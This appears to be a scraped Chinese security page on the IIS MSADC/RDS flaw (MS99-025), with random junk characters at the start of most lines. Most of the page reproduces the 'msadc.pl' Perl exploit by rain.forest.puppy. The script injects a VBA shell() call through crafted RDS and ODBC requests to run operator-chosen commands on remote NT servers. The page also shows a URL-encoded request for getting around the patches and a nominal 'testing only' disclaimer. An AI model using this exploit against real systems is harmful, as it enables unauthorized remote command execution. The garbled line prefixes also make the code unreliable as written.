IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
+`r;3kH .. K=;z&E=<c 涉及程序:
a-MDZT<xA+ Microsoft NT server
5)wz `OS razVO]]E 描述:
?dl7!I@<E< 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
S#/[>Cb ^cz#PNB 详细:
*8CI'UX 如果你没有时间读详细内容的话,就删除:
G +o)s c:\Program Files\Common Files\System\Msadc\msadcs.dll
m*6C *M
有关的安全问题就没有了。
+ t({:>E k#_B^J&d 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
f\nF2rlu u}W R1u[ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
9KN75<n 关于利用ODBC远程漏洞的描述,请参看:
f]tc$`vb qt=gz6! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4GH?$p|LX ^w5`YI4< 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
V:4]]z L} http://www.microsoft.com/security/bulletins/MS99-025faq.asp th}Q`vg0 Y,RBTH 这里不再论述。
^G.PdX$M 2j9Mr 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Vahfz8~w/ %a{$M{s /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
y/Fv4<X 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
6J9^:gXW~ OGw =e{ FX`SaY>D #将下面这段保存为txt文件,然后: "perl -x 文件名"
h|$.`$ 4eMNKIsvY$ #!perl
9+)5 #!0 #
&> tmzlww # MSADC/RDS 'usage' (aka exploit) script
8
;y N #
/~yk # by rain.forest.puppy
v@_b"w_TY #
R*3x{DNL # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
R#eY@N}\ # beta test and find errors!
v)mO"\ ZW{pO:- use Socket; use Getopt::Std;
MDGD*Qn~ getopts("e:vd:h:XR", \%args);
Z&e_yl n dgG1v% print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
`h*)PitRa 8@^=k.5IK if (!defined $args{h} && !defined $args{R}) {
#]>Z4=]v print qq~
Tp2 `eY5 Usage: msadc.pl -h <host> { -d <delay> -X -v }
'!>LF1W= -h <host> = host you want to scan (ip or domain)
2fM*6CaS -d <seconds> = delay between calls, default 1 second
U6;,<-bL -X = dump Index Server path table, if available
bx`s;r= -v = verbose
tn&~~G~# -e = external dictionary file for step 5
8x#SpDI 6," 86 Or a -R will resume a command session
3e+ Ih2 H,bYzWsrPo ~; exit;}
} QVREj &sleV5V $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,_?P[~1 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
th]1>
. if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ys`"-o[* if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
\ws<W7 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
zRSIJ!A~ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
%g1:yx 't'~p#$,F if (!defined $args{R}){ $ret = &has_msadc;
D|lp3\`% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
|giV<Sj kXK D>."E* print "Please type the NT commandline you want to run (cmd /c assumed):\n"
ltRvNXx+] . "cmd /c ";
[(Ss^?AJW $in=<STDIN>; chomp $in;
FMMQO,BU $command="cmd /c " . $in ;
.G8+D%%. ANh7`AUuO if (defined $args{R}) {&load; exit;}
{,61V;Bpm [9dW9[Z+! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
is@8x!c &try_btcustmr;
h8OmO5/H 1;Bgt v$ print "\nStep 2: Trying to make our own DSN...";
w9h`8pt &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
C\#E1\d s|L}wtc print "\nStep 3: Trying known DSNs...";
32j@6! &known_dsn;
I*8i=O@0T 0h ^&`H: print "\nStep 4: Trying known .mdbs...";
'}3@D$YiM% &known_mdb;
?Ho~6q8O@ Gzy"$t if (defined $args{e}){
Qz6Ry\u print "\nStep 5: Trying dictionary of DSN names...";
Ni"n_Yun &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
&}%rZU >S/m(98 print "Sorry Charley...maybe next time?\n";
OtK=UtVI exit;
>(nb8T| cYHHCaCS ##############################################################################
], Xva`" gbF^m`A>%+ sub sendraw { # ripped and modded from whisker
}@JPvIE sleep($delay); # it's a DoS on the server! At least on mine...
4mNg(w=NF my ($pstr)=@_;
v53qpqc socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&+]x die("Socket problems\n");
rBR,lS$4 if(connect(S,pack "SnA4x8",2,80,$target)){
7L68voC@U select(S); $|=1;
rik-C7 print $pstr; my @in=<S>;
,FWC|uM" select(STDOUT); close(S);
AY3nQH
return @in;
t*X
k'(v } else { die("Can't connect...\n"); }}
Xi vzhI4 RE~:+.eB ##############################################################################
t0t" =(d Y v22,|: sub make_header { # make the HTTP request
X@`kuWIUw my $msadc=<<EOT
ZmM/YPy POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
mc37Y. User-Agent: ACTIVEDATA
b3Nr>(Z<} Host: $ip
6XU1w Content-Length: $clen
8JYF0r7 Connection: Keep-Alive
\Eqxmo =^ ADCClientVersion:01.06
c~j")o Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
!\D[lh}rL ;oL`fQyr --!ADM!ROX!YOUR!WORLD!
8bl&-F` Content-Type: application/x-varg
Y [8~M8QX Content-Length: $reqlen
.C$4jR.KC <*O~?=6p EOT
QAs$fi}f]s ; $msadc=~s/\n/\r\n/g;
iBlZw%zKP return $msadc;}
G+Gd;`4 -n.ltgW@ ##############################################################################
&,vPZ,7l FwD"Pc2 sub make_req { # make the RDS request
doeYc my ($switch, $p1, $p2)=@_;
Ci{,e% my $req=""; my $t1, $t2, $query, $dsn;
-1^dOG6* dS9L( & if ($switch==1){ # this is the btcustmr.mdb query
B5FRe'UC $query="Select * from Customers where City=" . make_shell();
`+Ko{rf+9 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+\r=/""DW $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
~ti{na4W< JQSp2b@'H elsif ($switch==2){ # this is general make table query
7&ty!PpD $query="create table AZZ (B int, C varchar(10))";
A}K2"lQ#>, $dsn="$p1";}
9WE_9$<V ~cHpA;x9<^ elsif ($switch==3){ # this is general exploit table query
;fg8,(SM^ $query="select * from AZZ where C=" . make_shell();
8#?jYhT7 $dsn="$p1";}
BT[jD}? <~wr;"S elsif ($switch==4){ # attempt to hork file info from index server
5!GL" $query="select path from scope()";
v E4ce $dsn="Provider=MSIDXS;";}
8 cN[t.S frsqnvm;+ elsif ($switch==5){ # bad query
mBb;:-5 $query="select";
Yfro^}f $dsn="$p1";}
Q:U^):~ ^P)W/2 $t1= make_unicode($query);
_T[7N|'O $t2= make_unicode($dsn);
a g=,oYn $req = "\x02\x00\x03\x00";
G.ag$KF $req.= "\x08\x00" . pack ("S1", length($t1));
0[ (Z48 $req.= "\x00\x00" . $t1 ;
(7v]bqfw $req.= "\x08\x00" . pack ("S1", length($t2));
AHa%?wb $req.= "\x00\x00" . $t2 ;
x}acxu 2H7 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
}ZPO^4H;- return $req;}
HfQZRDH QOb+6qy:3 ##############################################################################
RXo!K iQO {\HEUIa]w sub make_shell { # this makes the shell() statement
1Z.
D3@ return "'|shell(\"$command\")|'";}
eN]AJ%Ig H83Gx; ##############################################################################
12W`7 W Z!?O0.A sub make_unicode { # quick little function to convert to unicode
gG^A6Ol%D my ($in)=@_; my $out;
Zq,[se'nh" for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
d<x7* OW) return $out;}
n+ot. - rt5FecX\ ##############################################################################
c,wYXnJ_t &Nzq/~uqP sub rdo_success { # checks for RDO return success (this is kludge)
NI^=cN,l my (@in) = @_; my $base=content_start(@in);
|@Cx%aEKU if($in[$base]=~/multipart\/mixed/){
zk#NM"C+ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
~ 9F
rlj return 0;}
|$hBYw k/U1
: 9 ##############################################################################
Z>9uVBE02 huPAWlxT sub make_dsn { # this makes a DSN for us
aicvu(%EE my @drives=("c","d","e","f");
gL)l)}# print "\nMaking DSN: ";
MM+x}g.? foreach $drive (@drives) {
2N)siH print "$drive: ";
Rw
j4 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
tWT,U[ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
mgODJ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
P@LFX[HtM $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
&?(<6v7 return 0 if $2 eq "404"; # not found/doesn't exist
!z EW) if($2 eq "200") {
9FGe(t< foreach $line (@results) {
*wvd[q h return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
*9XKkR<r } return 0;}
MKl`9 Y3Ge CtEpS<*c ##############################################################################
TnuNoMD. !+<OED=qe sub verify_exists {
Z}b25) my ($page)=@_;
G)(vd0X1 my @results=sendraw("GET $page HTTP/1.0\n\n");
fu=GgD* return $results[0];}
qdss(LZ O)2==_f\ ##############################################################################
?2RDd|# G}|!Jdr sub try_btcustmr {
*-.{->#Y my @drives=("c","d","e","f");
||xiKg my @dirs=("winnt","winnt35","winnt351","win","windows");
C[4{\3\Va SC Qr/Q foreach $dir (@dirs) {
[osIQ!u;: print "$dir -> "; # fun status so you can see progress
X-lB1uq^ foreach $drive (@drives) {
e1Ne{zg~ print "$drive: "; # ditto
rAv)k&l $reqlen=length( make_req(1,$drive,$dir) ) - 28;
PUU
"k:{ $reqlenlen=length( "$reqlen" );
QsO%m $clen= 206 + $reqlenlen + $reqlen;
\/wbk`2 C>}@"eK my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Q+i if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
z(o zMH else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&d%0[Ui` x>C_O\ ##############################################################################
g-4m.; ' F,.y6QU sub odbc_error {
Zk={3Y my (@in)=@_; my $base;
ekR/X my $base = content_start(@in);
r bfIH": if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
B_kjy=]O. $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6I<^wS9j_ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3|se]~ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Y&![2o.Q return $in[$base+4].$in[$base+5].$in[$base+6];}
=%i~HDiy print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
uQ(C,f[6p print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
# $N) $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
uV|%idC /QgU!:e ##############################################################################
1M={8}3 +o ;}* sub verbose {
#;+ABV my ($in)=@_;
'5usPD return if !$verbose;
]Yw/}GKB print STDOUT "\n$in\n";}
G`D~OI [ Q@rW5,- ##############################################################################
ji&%'h ~;QzV?% sub save {
(m~gG|n4 my ($p1, $p2, $p3, $p4)=@_;
}hm"49,O open(OUT, ">rds.save") || print "Problem saving parameters...\n";
X2PyFe print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
gP13n!7 close OUT;}
'(6
^O=
BH<jnQ ##############################################################################
ozCH1V{p cns~)j~ sub load {
]di^H>,xU my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
4WAs_~ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
^*$lCUv8p @p=<IN>; close(IN);
Fr|Ts>Kx $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
=>0G $target= inet_aton($ip) || die("inet_aton problems");
(fTi1
I! print "Resuming to $ip ...";
)q8!:Z $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
OL2 b if($p[1]==1) {
N E/ _ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,zP.ch0K $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
|eu:qn8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
*a[iq`499 if (rdo_success(@results)){print "Success!\n";}
8q"C=t7 else { print "failed\n"; verbose(odbc_error(@results));}}
(Qp53g elsif ($p[1]==3){
(c\i .z if(run_query("$p[3]")){
&OXWD]5$6 print "Success!\n";} else { print "failed\n"; }}
b\.l!v n0 elsif ($p[1]==4){
8o7%qWX if(run_query($drvst . "$p[3]")){
3
{OZdl| print "Success!\n"; } else { print "failed\n"; }}
!iHJ! exit;}
o-ee3j. B*-A erdH ##############################################################################
aSEzh78 xULcS :Q sub create_table {
^}{`bw {
my ($in)=@_;
]nQC $reqlen=length( make_req(2,$in,"") ) - 28;
-LnNA`- $reqlenlen=length( "$reqlen" );
<uf,@N5m $clen= 206 + $reqlenlen + $reqlen;
hLo>jE
my @results=sendraw(make_header() . make_req(2,$in,""));
AnW72|=A( return 1 if rdo_success(@results);
u 6"v}gN my $temp= odbc_error(@results); verbose($temp);
!]l!I9 return 1 if $temp=~/Table 'AZZ' already exists/;
)zMsKfQ return 0;}
|9;MP&68 qN@-H6D1= ##############################################################################
_yu_Ev}R }~bx==SF6! sub known_dsn {
1=^edQ+ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
BIn7<.& my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Od?b(bE.] "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
R]xXG0 "banner", "banners", "ads", "ADCDemo", "ADCTest");
9bb5?b/ L>X39R~ foreach $dSn (@dsns) {
VUbg{Rb) print ".";
An2Wj next if (!is_access("DSN=$dSn"));
6?uo6 I if(create_table("DSN=$dSn")){
Z&MfE0F/B print "$dSn successful\n";
<],~V\m if(run_query("DSN=$dSn")){
bmd3fJb`r print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;p] f5R^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
:L&d>Ii|' rE5q
BEh ##############################################################################
K."h}f95 .CAcG"42 sub is_access {
%{j)w{
LJ my ($in)=@_;
yrCY-'% $reqlen=length( make_req(5,$in,"") ) - 28;
wS%j!|xhlV $reqlenlen=length( "$reqlen" );
;R4qE$u2^ $clen= 206 + $reqlenlen + $reqlen;
bi<?m^j my @results=sendraw(make_header() . make_req(5,$in,""));
JXNfE,_ my $temp= odbc_error(@results);
--'!5)U verbose($temp); return 1 if ($temp=~/Microsoft Access/);
bKb}VP return 0;}
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